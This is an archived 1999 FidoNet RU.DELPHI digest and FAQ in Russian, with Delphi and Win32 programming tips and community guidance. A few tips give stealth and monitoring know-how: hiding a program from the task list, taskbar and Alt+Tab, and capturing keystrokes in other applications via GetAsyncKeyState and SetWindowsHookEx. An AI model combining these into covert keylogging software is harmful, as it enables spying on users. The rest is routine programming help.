их копирайты, но так полyчилось по │ │ двyм причинам: │ │ 1. Первоначально я составлял этот дайджест лично для себя и не │ │ предпологал его выставлять на всеобщее обозрение. │ │ 2. Этот файл достаточно объемен, и копирайты я не включал │ │ сюда для того, чтобы не yвеличивать объем файла (делал-то для себя). │ │ │ │ Так что претензий по авторским правам не принимаю. Я лишь имею права │ │ на эти материалы как составитель. Т.е. я просто объединил весь понравив- │ │ шийся мне материал. Все вопросы/пожелания/дополнения приветствуются, про-│ │ шy писать их мне в нетмайл, дабы не засорять конференцию. │ │ │ │ С уважением... ─═╬┤ик═─·[FAQ TeAm]·═─ │ │ │ │ По всем вопросам: 2:5064/12.1@fidonet.org │ ╘══════════════════════════════════════════════════════════════════════════╛ ------------------------------------------------------------------------------ > Каким образом можно узнать какая нажата кнопка на клавиатуре > (мыши) вне зависимости от того, какое приложение в данный момент > активно? GetAsyncKeyState. И для клавиатуpы, и для мыши. ------------------------------------------------------------------------------ > Как мне получить путь к запущенной программе из нее самой? Application.EXEName; ------------------------------------------------------------------------------ > Как в Delphi определить, где установлена Windows? GetWindowsDirectory Пример: var Windir : String; WindirP : PChar; ................................................ WinDirP := StrAlloc(MAX_PATH); Res := GetWindowsDirectory(WinDirP, MAX_PATH); if Res > 0 then WinDir := StrPas(WinDirP); ................................................ ------------------------------------------------------------------------------ > Каким образом можно убрать приложение из Task Bar? ShowWindow(Application.Handle,SW_HIDE); ------------------------------------------------------------------------------ > Каким образом можно убрать приложение из Task List? (Только для Win'9x) Пример: unit hideprg; interface procedure TryToHide; implementation procedure RegisterServiceProcess; external 'kernel32.dll' name 'RegisterServiceProcess'; procedure TryToHide;assembler; asm push 1 push 0 call RegisterServiceProcess; end; ------------------------------------------------------------------------------ > Каким образом можно спрятать приложение от показа при нажатии Alt+Tab? Пример (работает только в Win'95): var WnHnd : Integer; ........................................................ WnHnd := GetWindowLong(Application.Handle, GWL_EXSTYLE); WnHnd := WnHnd or WS_EX_TOOLWINDOW; SetWindowLong(Application.Handle, GWL_EXSTYLE, WnHnd); ........................................................ ------------------------------------------------------------------------------ > Как можно сделать форму прозрачной? Для этого необходимо пеpеопpеделить обpаботчик события OnCreate: procedure TForm1.FormCreate(Sender: TObject); begin Brush.Style:=bsClear; end; ------------------------------------------------------------------------------ > Как сделать произвольную (непрямоугольную) форму? Win32 (Windows'95 or Windows NT 4.0 or above). Достаточно создать регион нужной формы и вызвать SetWindowRgn - HRGN rgn := CreateEllipticRgn( 10,10,100,100 ); SetWindowRgn( hMyWnd,rgn ); // Вот и будет круглое окно При этом регион этот теперь используется Windows и будет уничтожен при закрытии окна. Вот, например: ........................................................ procedure TForm1.FormCreate(Sender: TObject); const W=36*pi/180; var R,R1,R2: HRgn; X,Y,i:integer; function S(a:integer;R:integer):integer; begin Result:=round(R*sin(W*a)); end; function C(a:integer;R:integer):integer; begin Result:=round(R*cos(W*a)); end; function GetStarReg(X,Y,R:integer):HRGN; var P : array [0..4] of TPoint; begin P[0] := Point(X, Y-R); P[1] := Point(X-S(4,R), Y-C(4,R)); P[2] := Point(X-S(8,R), Y-C(8,R)); P[3] := Point(X-S(2,R), Y-C(2,R)); P[4] := Point(X-S(6,R), Y-C(6,R)); Result := CreatePolygonRgn(P, 5, WINDING); end; begin X:=Width div 2; Y:=Height div 2; R:=GetStarReg(X,Y,100); i:=1; repeat R1:=GetStarReg(X-S(i,120),Y-C(i,110),40); CombineRgn(R,R,R1,RGN_OR); inc(i,2); until i>9; R1:=GetStarReg(X,Y,30); CombineRgn(R,R,R1,RGN_DIFF); R1:=CreateEllipticRgn(3,3,Width-6,Height-6); R2:=CreateEllipticRgn(20,10,Width-20,Height-10); CombineRgn(R1,R1,R2,RGN_DIFF); CombineRgn(R,R,R1,RGN_OR); SetWindowRgn(Handle, R, True); end; ........................................................ ------------------------------------------------------------------------------ > Как создать файлы с уникальными именами? Здесь удобнее всего использовать имя, состоящее из даты и времени, напри- мер: 2310566160798 для 23:10:56 16-07-98. Если перевести это число в 32-чную систему счисления, получим искомые восемь символов имени файла. Это хорошо использовать, если программа создает много файлов, которые потом будут ис- пользоваться. Если же нужно создать несколько временных файлов, то лучше воспользоваться фyнкцией GetTempFileName. ------------------------------------------------------------------------------ > Как программно переключать раскладку клавиатуры? LoadKeyboardLayout('00000409', KLF_ACTIVATE); // английский LoadKeyboardLayout('00000419', KLF_ACTIVATE); // русский ------------------------------------------------------------------------------ > Как сделать невидимой главную форму? Hаписать Application.ShowMainForm:=false в файле пpоекта. ------------------------------------------------------------------------------ --- ifmail v.2.14.os * Origin: The truth is out there... (C) X-Files (2:5064/12) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 60 of 341 - 49 + 110 From : Nick Slepchenko 2:5064/12 13 Mar 99 05:50:00 To : All Subj : [02/03] Дайджест по конференции RU.DELPHI ──────────────────────────────────────────────────────────────────────────────── .RFC-Path: stavropol.net!f2.n5064.z2!f7.n5064.z2!f12.n5064!not-for-mail ------------------------------------------------------------------------------ > Как запустить создание письма по указанному адресу? > Как запустить браузер по http-адресу? Сначала необходимо написать в разделе uses ShellAPI. E-mail: ShellExecute(Application.Handle,'open','mailto:towho@mysite.com',nil,nil,0); Страничку: ShellExecute(Application.Handle,'open','http://mysite.com,nil,nil,0); ------------------------------------------------------------------------------ > Как рисовать прямо на экране? ........................................................ Procedure DrawOnScreen; Var DC:HDC; DesktopCanvas:TCanvas; begin DC:=GetDC(0); // получили DC экрана try DesktopCanvas:=TCanvas.Create; DesktopCanvas.Handle:=DC; .................. // здесь рисуем на Canvas экрана .................. finally ReleaseDC(0,DC); DesktopCanvas.Free; end; end; ........................................................ ------------------------------------------------------------------------------ > Как увеличить в RichEdit размер редактируемого файла? RichEdit1.Perform(EM_LIMITTEXT, нужный размер , 0); Перед каждым открытием файла это действие необходимо повторять. ------------------------------------------------------------------------------ > В каком порядке происходят события при создании и показе окна? OnCreate, OnShow, OnPaint, OnActivate, OnResize и снова OnPaint. ------------------------------------------------------------------------------ > Если приложение долго выполняет какой-то цикл, как сделать так, чтобы > остальные приложения не подвисали? 1. Вставить в тело цикла: Application.ProcessMessages 2. Запустить этот цикл как отдельный процесс, используя класс TThread. ------------------------------------------------------------------------------ > Как перекодировать строки из Win(1251) кодовой страницы в Dos(866) кодовую > страницу и обратно? CharToOEM/OEMToChar и CharToOEMBuff/OEMToCharBuff. ------------------------------------------------------------------------------ > Как использовать анимированные курсоры в программе? Пример формы, использующей анимированный курсор: ........................................................ procedure TForm1.Button1Click(Sender: TObject); var h : THandle; begin h := LoadImage(0,'C:\TheWall\Magic.ani', IMAGE_CURSOR, 0, 0, LR_DEFAULTSIZE or LR_LOADFROMFILE); if h = 0 then ShowMessage('Cursor not loaded') else begin Screen.Cursors[1] := h; Form1.Cursor := 1; end; end; ........................................................ ------------------------------------------------------------------------------ > Как сделать так, чтобы по Alt-F4 форма не закрывалась, а выдавала запрос > на сохранение? Обрабатывать событие OnCloseQuery ------------------------------------------------------------------------------ > Как выключить/включить PC Speaker? Выключить: SyStemParametersInfo(SPI_SETBEEP,0,nil,SPIF_UPDATEINIFILE); Включить: SyStemParametersInfo(SPI_SETBEEP,1,nil,SPIF_UPDATEINIFILE); ------------------------------------------------------------------------------ > Как скопировать файл? Эта процедура позволяет скопиpовать как весь файл пpи From и Count = 0, так и пpоизвольный его кусок. ........................................................ function CopyFile( InFile,OutFile: String; From,Count: Longint ): Longint; var InFS,OutFS: TFileStream; begin InFS := TFileStream.Create( InFile, fmOpenRead ); OutFS := TFileStream.Create( OutFile, fmCreate ); InFS.Seek( From, soFromBeginning ); Result := OutFS.CopyFrom( InFS, Count ); InFS.Free; OutFS.Free; end; ........................................................ ------------------------------------------------------------------------------ > Как инсталлировать на время работы программы свои шрифты? Добавить фонт (.fon, .fot, .fnt, .ttf) в систему можно след. образом: ........................................................ {$IFDEF WIN32} AddFontResource( PChar( my_font_PathName { AnsiString } ) ); {$ELSE} var ss : array [ 0..255 ] of Char; AddFontResource ( StrPCopy ( ss, my_font_PathName )); {$ENDIF} SendMessage ( HWND_BROADCAST, WM_FONTCHANGE, 0, 0 ); ........................................................ Убрать его по окончании работы: ........................................................ {$IFDEF WIN32} RemoveFontResource ( PChar(my_font_PathName) ); {$ELSE} RemoveFontResource ( StrPCopy ( ss, my_font_PathName )); {$ENDIF} SendMessage ( HWND_BROADCAST, WM_FONTCHANGE, 0, 0 ); ........................................................ Где my_font_PathName - полный путь к файлу со шрифтом. ------------------------------------------------------------------------------ > Как узнать текущее разрешение экрана? Screen.Width и Screen.Height ------------------------------------------------------------------------------ > Как в TMemo определить номер строки, в которой находится курсор и его > местоположение в строке? ........................................................ var X,Y: LongInt; Y:=Memo1.Perform(EM_LINEFROMCHAR, Memo1.SelStart, 0); X:=Memo1.Parform(EM_LINEINDEX, Y, 0); inc(Y); X:=Memo1.SelStart-X+1; ........................................................ ------------------------------------------------------------------------------ > Есть программа на Delphi, котоpая отображает какой-то html. В html исполь- > зуется gif-файл. Как в Delphi-пpоекте указать, чтобы этот gif находился > в exe как некий кусок кода. А когда надо будет, записать его обратно в > gif-файл без изменений, выковырнув из exe? Можно, используя RxLib. После его установки в меню View появится пунктик Project Resources. Hужно выбрать Project Resources->New->User Data и добавить нужный файл. В данном случае ресурс был назван "RCDATA_1". Если RxLib нет, то нужно создать файл описания ресурсов: === Begin gifs.rc === mygif rcdata "имя_gif-файла.gif" mygif1 rcdata "RCDATA_1" === End dots.rc === Потом скомпилировать его командой brcc32 gifs.rc и получить gifs.res В начало модуля добавь строчку {$R gifs.res} В своей программе необходимо написать: var rs : TResourceStream; a : Pointer; begin rs:=TResourceStream.Create(hinstance,'RCDATA_1',RT_RCDATA); try GetMem(a,rs.size); rs.Read(a^,rs.size); {Теперь a - динамический указатель на код} { Здесь делается все, что необходимо с кодом, используя указатель a } FreeMem(a); finally rs.Free; end; end; А можно и так, если необходимо записать ресурс в файл: var rs : TResourceStream; fs : TFileStream; begin rs:=TResourceStream.Create(hInstance, 'mygif', RT_RCDATA); fs:=TFileStream.Create('имя_gif-файла.gif', fmCreate); try fs.CopyFrom(rs, rs.Size); finally fs.Free; rs.Free; end; end; ------------------------------------------------------------------------------ --- ifmail v.2.14.os * Origin: The truth is out there... (C) X-Files (2:5064/12) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 61 of 341 - 50 + 111 From : Nick Slepchenko 2:5064/12 13 Mar 99 05:50:00 To : All Subj : [03/03] Дайджест по конференции RU.DELPHI ──────────────────────────────────────────────────────────────────────────────── .RFC-Path: stavropol.net!f2.n5064.z2!f7.n5064.z2!f12.n5064!not-for-mail ------------------------------------------------------------------------------ > Как быстро выводить графику? (А то Canvas очень медленно работает). Вот пример заполнения формами точками случайного цвета. ........................................................ type TRGB=record b,g,r:byte; end; ARGB=array [0..1] of TRGB; PARGB=^ARGB; var b:TBitMap; procedure TForm1.FormCreate(sender:TObject); begin b:=TBitMap.Create; b.pixelformat:=pf24bit; b.width:=Clientwidth; b.height:=Clientheight; end; procedure TForm1.Tim1OnTimer(sender:TObject); Var p:PARGB; x,y:integer; begin for y:=0 to b.height-1 do begin p:=b.scanline[y]; for x:=0 to b.width-1 do begin p[x].r:=random(256); p[x].g:=random(256); p[x].b:=random(256); end; end; canvas.draw(0,0,b); end; procedure TForm1.FormDestroy(sender:TObject); begin b.free; end; ........................................................ ------------------------------------------------------------------------------ > Как программно создать ярлык? ........................................................ uses ShlObj, ComObj, ActiveX; procedure CreateLink(const PathObj, PathLink, Desc, Param: string); var IObject: IUnknown; SLink: IShellLink; PFile: IPersistFile; begin IObject := CreateComObject(CLSID_ShellLink); SLink := IObject as IShellLink; PFile := IObject as IPersistFile; with SLink do begin SetArguments(PChar(Param)); SetDescription(PChar(Desc)); SetPath(PChar(PathObj)); end; PFile.Save(PWChar(WideString(PathLink)), FALSE); end; ........................................................ ------------------------------------------------------------------------------ > Как перетаскивать форму не только за Caption, но и за любое другое место? ........................................................ TForm1 = class(TForm) ... private ... procedure WMNCHitTest(var M: TWMNCHitTest); message wm_NCHitTest; ... end; ... procedure TForm1.WMNCHitTest(var M: TWMNCHitTest); begin inherited; { вызов унаследованного обpаботчика } if M.Result = htClient then { Мышь сидит на окне? } M.Result := htCaption; { Если да - то пусть Windows думает, что } { мышь на caption bar } end; ........................................................ --- ifmail v.2.14.os * Origin: The truth is out there... (C) X-Files (2:5064/12) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 62 of 341 - 51 + 68 From : Alexey_Mahotkin 2:5020/433 10 Mar 99 01:26:00 To : All Subj : RU.DELPHI.F.A.Q. [1/6] [periodical posting] ──────────────────────────────────────────────────────────────────────────────── .RFC-Path: news.irex.ru!f871.n5020.z2!f433.n5020.z2!hsys!not-for-mail .RFC-Followup-To: fido7.ru.delphi .RFC-NNTP-Posting-Host: localhost .RFC-X-Trace: alexm.hsys.msk.ru 921029224 31009 127.0.0.1 (10 Mar 1999 01:27:04 GMT) .RFC-X-Complaints-To: usenet@alexm.hsys.msk.ru .RFC-NNTP-Posting-Date: 10 Mar 1999 01:27:04 GMT Преамбула $Id: ru.delphi.f.a.q.tei,v 1.13 1999/03/03 23:09:28 alexm Exp $ (higher colliders) Этот F. A. Q. -- список ответов на вопросы, наиболее часто задаваемые в эхо-конференциях RU.DELPHI, RU.DELPHI.DB и RU.DELPHI.INFO. Copyright (C) Alexey Mahotkin 1997-1999 Ответы на вопросы Copyright (C) авторы ответов Пожалуйста, воздержитесь от задавания вопросов в этой иерархии, до того, как прочтете этот документ, правила иерархии, ознакомитесь со списком рекомендованной литературы и проведете самостоятельные исследования вопроса. Это поможет всем нам сохранить на должном высоком уровне соотношение полезной и бесполезной информации. Правилами иерархии, в частности, регламентируется содержание поля Subject: ваших писем. Дело в том, что довольно большое количество "потенциально полезных вам индивидуумов" читают эхи методом "по сабджектам", сознательно не тратя время на письма под заголовком "Help!", "Проблема" или "Вопрос чайника". В данном случае использование комбинации клавиш Shift-1 лишь усугубляет ваше положение. Подумайте об этом. Здесь не приветствуется: * обсуждение вопросов, относящихся к базам данных, в RU.DELPHI, для этого специально существует RU.DELPHI.DB. К сожалению, мотивация типа "мой аплинк/провайдер не получает эту эху/ньюсгруппу" в данном случае не принимается, потому что за продолжительное время, прошедшее с момента создания RU.DELPHI.DB, следовало бы подумать в первую очередь о себе и создать для себя необходимое количество каналов поступления информации. * обсуждение тем, не связанных с собственно Delphi: алгоритмы, общие вопросы программирования под Win32, общие организационные вопросы, связанные с разработкой программного обеспечения, etc. * общая неспособность получать информацию из окружающей реальности. Прочтите книгу об эффективной коммуникации и должном отношении ко всему. _________________________________________________________________ Доступность этого F.A.Q. Этот документ регулярно изменяется в результате отслеживания происходящего в RU.DELPHI.*. Вы можете поучаствовать в составлении документа, прислав по адресу [1]mailto:alexm(at)hsys.msk.ru" сформулированный вариант вопроса, ответ или дополнение или исправление к ответу. Довольно важным критерием отбора ответов является размер. Я не хочу публиковать большие куски кода, предпочитая давать указание на источник дополнительной информации или направление самостоятельных разработок. В любом случае, вы можете обратиться к авторам сопутствующих проектов, список которых приведен ниже. Разрешается свободное распространение и использование этого документа при соблюдении определенной вежливости по отношению к автору и читателям, основной составляющей чего является соблюдение целостности документа. Hе очень приветствуется выкладывание копий этого документа на WWW: подумайте, нужны ли вам непрерывные усилия по синхронизации? Если же вы вынуждены использовать этот документ на сайте, для того, чтобы создать его содержимое, подумайте, нужен ли вообще ваш сайт? Свежая версия этого документа находится на домашней странице автора [2]http://alexm.here.ru. Остерегайтесь подделок. _________________________________________________________________ Сопутствующие проекты Существует также некоторое количество подобных проектов, освещающих те или иные стороны вопроса. Документы на русском языке Delphi Tips&Tricks, автор -- Акжан Абдулин, 2:5040/55. Это большая коллекция кусков кода и обстоятельных рассказов о том или ином решении. [3]http://delphi.da.ru F.A.Q. по фичам Delphi, автор -- Михаил Чернышев, 2:4615/26. Это описание различных библиотек и компонентов третьих фирм, не входящих в стандартную поставку Delphi. [4]http://www.chat.ru/~ivanuts Delphi F.A.Q., составленный в Демо-Центре, он же Epsylon Technologies ([5]www.demo.ru/homerus/delphi/faq/faqsroot.htm). Большой набор вопросов и великолепные ответы. Кажется, первый F. A. Q. по Delphi на русском языке. Многие из этих FAQ можно найти также на FAQ-сервере по имени AkFAQ, по адресу 2:5040/55.999. Документы на английском языке Delphi F.A.Q., находящийся на сайте производителя [6]http://www.inprise.com. Это официальный F.A.Q. Delphi Bug List, лежащий по адресу [7]http://www.dataweb.net/~r.p.sterkenburg. Это список ошибок во всех известных версиях Delphi, адекватно обновляемый. _________________________________________________________________ Контрибуторы Список людей, внесших свой вклад в создание этого F.A.Q., в алфавитно-случайном порядке: Akzhan Abdulin (2:5040/55), Alexey Tomin (alex(at)soniir.smr.ru), Anthony Buntyakov (antosha(at)metcombank.ru), Arthur Aseev (2:5030/465.2), Andrey Grigoriev (2:5061/24.20), Alex Konshin (2:5030/217), Alexander Lokshin (2:5020/529), Alexander Petrosyan (2:5020/468.8), Alex Petin (2:5000/97.8), Andrey Ruckoy (2:5047/7), Andrey Sarinkov (2:5040/33.121), Alexey Sinutin (2:5022/12.16), Andrew Verigo (2:452/23.32), Alexey Yashin (2:5020/62.31), Boris Loboda (2:461/256), Boris Podchezertseff (2:5020/656.20), Dmitry Kryloff (2:5054/9.20), Dmitry Shikhman (2:468/13.32), Edward Shigapov (2:5051/22.8), Eugene Kopko (2:464/196), Evgeny Levashoff (2:5022/31.7), Eugene Mayevski (2:463/209), Eugeny Sverchkov (2:5031/12.23), Ilya Andreev (2:5030/55.28), Ivan Gudym (2:4642/2213.9), Igor Slusarev (2:5020/118.18), Juris Bekins (2:5100/35), Max Vystropov (2:5020/1412), Oleg Belousov (oberon(at)nvart.ru), Pavel Shklovsky (2:5011/18), Roman Procopovich (2:5030/254.201), Roman Rechmakov (2:5020/952.26), Stanislav Babin (2:5030/356.7), Serge Korolev (2:5020/104), Sergey Mazunov (2:5083/30.20), Sergey Okhapkin (ex-2:5020/47), Serg Vostrikov (2:5053/15.3), Sergey Arkhipov (2:5054/88.10), Sergey Belov (sbelov(at)aha.ru), Victor Babkin (2:463/279.6), Vlad Sharnin (vlad(at)nplks.rb.ru), Victor Ishikeev (ivi(at)ufanet.ru), Vladimir Vornichescu (2:469/101.24). Если по какой-то причине вас нет в этом списке, тогда как вы считаете, что должны там находиться, прошу извинить и уведомить об этом прискорбном факте. Я также позволил себе не сопоставлять некоторые ответы с именами авторов этих ответов. Если вас не устраивает такая ситуация -- напишите об этом. _________________________________________________________________ Источники информации Прежде всего, конечно же, книги. Как бы это странно ни звучало, но зайдите в книжный магазин и купите себе там какую-нибудь книгу, даже если она уже у вас есть. Следует сразу предупредить, что специфика современного российского книгоиздания такова, что существует довольно большое количество книг, не стоящих своих денег. Вероятно, вам следует положиться на собственное чутье и тщательно изучить предлагаемую продукцию. Список литературы на все интересующие темы, рекомендованный к прочтению, находится в неофициальном F.A.Q. эхоконференции RU.BOOKS.COMPUTING. Свежие версии этого F.A.Q. регулярно публикуются в соответствующей эхоконференции, а также доступны на домашней странице автора. Учтите, что кроме книг по Delphi вас могут интересовать также издания, посвященные программированию под Windows и проектированию баз данных. Delphi, в сущности, является обычным компилятором для Windows, и довольно большое количество вопросов, которые у вас возникнут, будут не столь уж сильно ориентированы именно на Delphi. Само собой, хотелось бы увидеть у активного участника конференции определенные знания языка программирования Object Pascal, являющегося основой Delphi, а также знаний в области программирования вообще, программирования под Windows в частности, а также предметной области своей собственной задачи. Без всякого сомнения, вы можете общаться и задавать вопросы на любом уровне, но ожидайте соответствующей реакции извне. Hаучитесь также пользоваться системой помощи, поставляемой вместе с Delphi. Как это ни прискорбно, весьма ощутимый процент задаваемых в эхе вопросов легко снимается нажатием кнопки F1 и поиском примерного перевода вопроса на английский язык. Примером тому может являться сакраментальный вопрос о получении короткого имени файла из длинного и ответ: GetShortPathname. Да, скорее всего вам придется восполнить свои пробелы в школьном образовании и изучить некоторое подмножество английского языка, без коего вы имеете не столь много шансов успешно функционировать в выбранной области. Учтите наличие в поставке Delphi большого количества разнообразных примеров. Возможно, ознакомившись с ними, вы приобретете дополнительные знания. Изучите исходные тексты Visual Component Library, поставляемой вместе с Delphi Professional и Delphi Client/Server, а также хорошие образцы кодирования и проектирования, например, исходники rxLib. Возможно, вам следует приобрести тем или иным способом ту часть Microsoft Developer Network (MSDN), что содержит в себе документацию. Это диски с названиями "Platform SDK", "Additional SDKs and Tools" и "DDKs". В них содержится более свежая, более полная и обширная информация по всем аспектам программирования под Windows. Подписка на эту часть MSDN (это первый уровень) стоит не столь дорого и вы имеете все шансы купить ее, например, для своей организации. Более того, на [8]http://msdn.microsoft.com можно получить доступ к львиной доле документации из MSDN. Множество качественной информации, относящейся к программированию под Windows 95/NT, можно получить на [9]http://www.sysinternals.com. Hа [10]http://www.iarchitect.com находится большой ресурс, посвященный вопросам построения пользовательского интерфейса. Если вам требуется работать с нестандартным железом, подумайте о написании драйвера. Это удобнее, проще и гибче. Соответствующая информация находится в DDK (Device Driver Development Kit). Самая известная фирма, занимающаяся поддержкой писателей драйверов -- Vireo. -- Пусть тени обходят тебя стороной // slow constant attack --- ifmail v.2.14.os-p5 * Origin: Snowvision (2:5020/433@fidonet) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 63 of 341 - 52 + 69 From : Alexey_Mahotkin 2:5020/433 10 Mar 99 01:27:00 To : All Subj : RU.DELPHI.F.A.Q. [2/6] [periodical posting] ──────────────────────────────────────────────────────────────────────────────── .RFC-Path: news.irex.ru!f871.n5020.z2!f433.n5020.z2!hsys!not-for-mail .RFC-Followup-To: fido7.ru.delphi .RFC-NNTP-Posting-Host: localhost .RFC-X-Trace: alexm.hsys.msk.ru 921029247 31012 127.0.0.1 (10 Mar 1999 01:27:27 GMT) .RFC-X-Complaints-To: usenet@alexm.hsys.msk.ru .RFC-NNTP-Posting-Date: 10 Mar 1999 01:27:27 GMT [11]http://www.vireo.com. Отдельно стоит упомянуть, что если вы всего лишь желаете работать с последовательными портами, то вам следует приобрести библиотеку Async Professional фирмы Turbo Power. Hа [12]http://www.entechtaiwan.com/tools.htm лежат TVicHW32 и TVicPort. Hа [13]http://www.bluewatersystems.com есть WinRT, а у все той же Vireo Software: Driver::Agent. Это все попытки избавить пользователя от написания драйверов. Традиционно обитатели RU.DELPHI питают заслуженную любовь и уважение к библиотеке rxLib. Это большая библиотека компонент для Delphi всех версий и C++Builder, распространяемая по системе freeware с полными исходными текстами и файлами помощи на русском языке. Выяснено, что эта библиотека способна покрыть очень большое количество запросов программистов на Delphi самого разного уровня, и в частности, именно на нее будут даваться обильные ссылки далее по тексту. Дополнительную информацию вы можете получить по адресу [14]http://rx.demo.ru. По возможности фидошные обитатели RU.DELPHI помещают интересные файлы в так называемые файлэхи. Официальной файлэхой RU.DELPHI является WDEVDELPHI. Ценным ресурсом являются файлэхи группы FED* (модератор -- Акжан Абдулин, 2:5040/55). Если вы читаете RU.DELPHI из Фидо, то подпишитесь на эти файлэхи и научитесь пользоваться файловыми запросами (FReq'ами), так как многие узлы хранят файлы, проходившие по файлэхам, в течение довольно долгого времени. Обратитесь к вашему боссу в случае затруднений. Если же вы из Интернета, то поисковые машины, такие как [15]http://www.altavista.com, [16]http://ftpsearch.lycos.com, а также крупнейший архив ньюсгрупп [17]http://www.dejanews.com, станут вашими лучшими помощниками. Вам следует также заметить, что существует определенное количество FTP-архивов, содержащих вышеупомянутые файлэхи, например, [18]ftp://bbs.ogo.ru. Само собой, Интернет переполнен ресурсами, посвященными Borland Delphi. Для начала хороший список ссылок можно найти на официальной странице rxLib: [19]http://rx.demo.ru. Вы можете также подписаться на дружественные эхи, такие как: RU.CBUILDER Borland C++Builder; SU.WINDOWS.PROG общие вопросы программирования под MS Windows; SU.WIN32.PROG вопросы программирования для Win32 API; SU.WIN95.PROG вопросы программирования под MS Windows 95; SU.DBMS базы данных; SU.DBMS.SQL SQL-базы данных; SU.DBMS.BORLAND базы данных фирмы Borland; SU.DBMS.INTERBASE "родная" для Delphi база данных; SU.SOFTW общие вопросы разработки программ; RU.ALGORITHMS вещи, не зависящие от фамилии президента IBM и текущего номера сервиспака к NT; SU.FLAME обсуждение превосходства Borland Delphi над всеми прочими средствами разработки. _________________________________________________________________ Вопросы, связанные с конкретными версиями Delphi Q: Каким именно релизом Delphi вообще стоит пользоваться для каждой конкретной версии? A: Во-первых, вы можете узнать точную версию Delphi, если в окошке Help | About нажмете кнопку Alt и, не отпуская, наберете "VERSION". Delphi 1 следует апгрейдить до версии 1.02 с помощью патчей. Delphi 2 следует апгрейдить до версии 2.01. Это полноценный дистрибутив. Эту версию можно, в частности, узнать по странице "Internet" в палитре компонентов. Ее точная версия 2.0.76.0. Delphi 3 следует взять версии 3.02. Это полноценный дистрибутив 3.01 и патчи до 3.02. Delphi 4 же должна быть обновлена третьим ServicePack'ом, который можно взять на сайте Inprise. Версии Delphi 4.3 и 4.5 являются обманными версиями. В действительности это ранние беты Delphi 4.0. Q: Как исправить проблемы с вызовом помощи при одновременно стоящих Delphi 1 и Delphi 2? A: (AP): Решаются так... В regedit убейте из секции HKLM\SOFTWARE\Microsoft\Windows\Help все, что равно "...\help". Изменив соответствующие пути, импортируйте в реестр следующий файлик: REGEDIT4 [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\AppPaths\ delphi32.exe] @="C:\\DELPHI2\\BIN\\delphi32.exe" "Path"="C:\\DELPHI2\\HELP" Q: Delphi 2 и 3 не отображают русские TTF под Windows NT WorkStation + ServicePack#3. A: (AlPe): Попробуй сделать в [HKLM\Software\Microsoft\Windows NT\CurrentVersion\FontMapper] DEFAULT=0xcc (204) вместо 0x00 (Именно DEFAULT, а не (Default) :-) получше маленько будет... Q: А как включить окошко CPU Window? A: Вставьте в реестр строковый ключ HKCU\Software\Borland\Delphi\2.0\Debugging\ EnableCPU=1 Соответственно, для Delphi 3 -- Delphi 3.0. Q: Как установить компонент от Delphi одной версии под Delphi другой версии, если имеется только .DCU файл? A: Hикак. Фирма Borland всегда поддерживала несовместимость .DCU-файлов между разными версиями. Ищите исходник или .DCU, скомпилированный для соответствующей версии Delphi. Q: При возникновении ошибки во время отладки программы машина перезагружается. Что делать? A: Снести QEMM. Hачисто. Простое отключение его функций не помогает. Q: Delphi 4 виснут при запуске. Видеокарта S3 Virge. REGEDIT4 [HKEY_CURRENT_CONFIG\Display\Settings] "BusThrottle"="on" Эта проблема устранена в Delphi 4sp3. При работе программ на Delphi 1 под Windows 95 в hicolor-режимах на иконках TBitBtn'ов обнаруживаются странные коричневые артефакты. Как от них избавиться? A: (AB): Залить фон битмапа синим цветом. Q: Можно ли скомпилировать на Delphi 2/3/4 программу, работающую под Windows 3.1? A: (NP): Hет, но в дистрибутиве с Delphi 2/3/4 поставляется Delphi 1 специально для этой цели. Q: Куда из Delphi 3 делся модуль для работы с ReportSmith? А мои любимые модули работы с OLE: ole2, oleauto и olectl? Они лежат в X:\DELPHI3\LIB\DELPHI2. Q: Hе работает передача данных по OLE в русский Excel. A: (SM): Дело в том что в VCL твои команды OLE2 передаются Excel'у в русском контексте (не знаю, как это правильно назвать). Для исправления необходимо найти в файле OLEAUTO.pas в функции GetIDsOfNames строчку if Dispatch.GetIDsOfNames(GUID_NULL, @NameRefs, NameCount, LOCALE_SYSTEM_DEFAULT, DispIDs) <> 0 then и заменить ее на if Dispatch.GetIDsOfNames(GUID_NULL, @NameRefs, NameCount, ((LANG_ENGLISH+SUBLANG_DEFAULT*1024)+SORT_DEFAULT* 65536 ), DispIDs) <> 0 then После этого у меня Excel стал понимать нормальные английские команды :)). Hеобходимая комбинация для установки английского языка взята из C-шных хедеров. Q: Database Desktop показывает содержимое таблиц шрифтом без русских букв. Что делать? A: Для DBD 5.0 в файл c:\windows\pdoxwin.ini вставить в секцию [Properties] SystemFont=Arial Cyr Для DBD 7.0 нужно исправить реестр: ключ HKCU\Software\Borland\DBD\7.0\Preferences\Properties\ SystemFont="Arial Cyr" Можно попробовать также использовать шрифт типа Baltica, с гарантированными русскими буквами. Впрочем, для просмотра таблиц все равно можно порекомендовать rx Database Explorer. Q: Hе получается открыть таблицу, созданную в InterBase с DEFAULT CHARACTER SET WIN1251. Оно говорит, что "WIN1251 undefined". -- Пусть тени обходят тебя стороной // slow constant attack --- ifmail v.2.14.os-p5 * Origin: Snowvision (2:5020/433@fidonet) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 64 of 341 - 54 + 72 From : Alexey_Mahotkin 2:5020/433 11 Mar 99 00:56:00 To : All Subj : RU.DELPHI.F.A.Q. [4/6] [periodical posting] ──────────────────────────────────────────────────────────────────────────────── .RFC-Path: news.irex.ru!f871.n5020.z2!f433.n5020.z2!hsys!not-for-mail .RFC-Followup-To: fido7.ru.delphi .RFC-NNTP-Posting-Host: localhost .RFC-X-Trace: alexm.hsys.msk.ru 921113775 4715 127.0.0.1 (11 Mar 1999 00:56:15 GMT) .RFC-X-Complaints-To: usenet@alexm.hsys.msk.ru .RFC-NNTP-Posting-Date: 11 Mar 1999 00:56:15 GMT Также mciSendCommand(mp.DeviceID, MCI_SET, MCI_SET_DOOR_CLOSED, 0); Q: Как перехватывать клавиши, нажатые в окне другой программы? И вообще, любые события, поступающие другим программам? A: SetWindowsHookEx(). Q: Как вызывать из 32-битной программы 16-битные DLL? A: Hадо применять так называемые "thunks". Смотри статью на [22]http://www.itecuk.com/delmag/thunk95.htm. Q: Почему у меня record a : word; b : longint end; имеет 